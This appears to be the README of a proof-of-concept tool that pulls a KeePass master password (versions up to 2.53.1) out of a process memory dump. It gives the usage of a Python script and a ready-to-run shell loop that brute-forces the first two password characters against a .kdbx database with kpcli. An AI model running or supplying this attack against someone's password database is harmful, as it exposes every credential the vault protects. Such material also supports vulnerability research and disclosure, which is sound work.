Retrieve the master password of a keepass database <= 2.53.1# keepass-dump-masterkey
## Usage
`python3 poc.py <PathToDmp>`
## Preview
As a reminder, the first character cannot be found in the dump, and for the second the script will only give you a few possibilities, in any case we recommend you to run the bruteforce on 2 chars with the script below
```bash
#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
echo "Using password: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
```
>This script works very well in the case of a physical machine, for virtual machines it does not seem stable
Btw : the python script present in this project follows the reading of the following project: https://github.com/vdohney/keepass-password-dumper
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